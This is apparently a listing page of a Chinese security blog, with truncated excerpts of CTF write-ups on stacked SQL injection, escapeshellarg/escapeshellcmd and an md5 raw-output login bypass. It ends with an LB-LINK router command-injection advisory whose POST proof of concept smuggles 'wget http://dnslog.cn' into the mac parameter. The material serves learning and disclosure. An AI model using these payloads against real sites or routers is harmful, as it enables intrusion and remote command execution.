一、信息收集打开靶场,发现表单,尝试数据1很明显,这是一道SQL注入题目。验证添加单引号,报错信息证明是字符型注入。再添加and 1=1#,返回正常页面。再尝试1' and 1=2#,返回报错证明存在SQL注入漏洞,尝试联合查询。发现关键词屏蔽,我们注意到where被屏蔽,证明常规注入手法已经失效。二、堆叠注入黑名单没有屏蔽show,尝试使用堆叠注入。查询表名0';show tables;#查询列名0';show columns from words;#,发现正常显示数据。查询列名0';show columns from \`1919810931114514\`;#,发现flag字段。三、爆数据这里爆数据的思路是通过修改查询的表名称来使前台返回数据,也是这个题的考点。我们通过管理数据库命令是无法查询到flag中的内容的,我们可以考虑通过rename命令,将1919810931114514表重命名为words表,再为其添加一个id列,保证我们可以正常查询到其中内容。payload:1'; rename table words to word1; rename table `1919810
一、信息收集打开靶场,发现页面源码。if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_X_FORWARDED_FOR']; } if(!isset($_GET['host'])) { highlight_file(__FILE__); } else { $host = $_GET['host']; echo $host."<br />"; $host = escapeshellarg($host); echo $host."<br />"; $host = escapeshellcmd($host); echo $host."<br />"; $sandbox = md5("glzjin". $_SERVER['REMOTE_ADDR']); echo 'you ar
一、password=md5($pass,true)绕过这个是只能用于基于MySQL数据库进行的登录判断SQL注入绕过。这个问题的发生是在这个场景下。场景:$pass = md5($_POST['pass'],true); $sql = "SELECT * FROM admin where pass='$pass'"; $result = $conn->query($sql); if ($result->num_rows != 0) { echo "success"; //后续操作 } else { echo "password error or user not found!"; }这个场景看上去很安全是吧?直接将用户提交的密码字符串经过MD5加密后直接拼接在SQL语句中,按照常规思想确实没有办法进行SQL注入,但是这里我们可以构造一个十分巧妙的输入来使where子句永真。md5($pass, true)函数这个函数会返回$pass的MD5原始16字符二进制格式。这也是我们这次绕过的原理。
中秋的我选择加班,这几天如果闲的话可能会多更新一点。
原理LB-LINK BL-AC1900等都是中国必联(LB-LINK)公司的一款无线路由器。该漏洞源于通过/goform/set_LimitClient_cfg中的mac、time1和time2参数发现包含命令注入漏洞。影响范围LB-LINK BL-AC1900_2.0 v1.0.1版本、LB-LINK BL-WR9000 v2.4.9版本、LB-LINK BL-X26 v1.2.5版本、LB-LINK BL-LTE300 v1.0.8版本存在安全漏洞。危害远程攻击者可利用该漏洞执行任意命令,取得服务器控制权。POC & EXP手工POST /goform/set_LimitClient_cfg HTTP/1.1 Cookie: user=admin time1=00:00-00:00&time2=00:00-00:00&mac=;wget http://dnslog.cn;
Equinox
一个乐于分享的网安人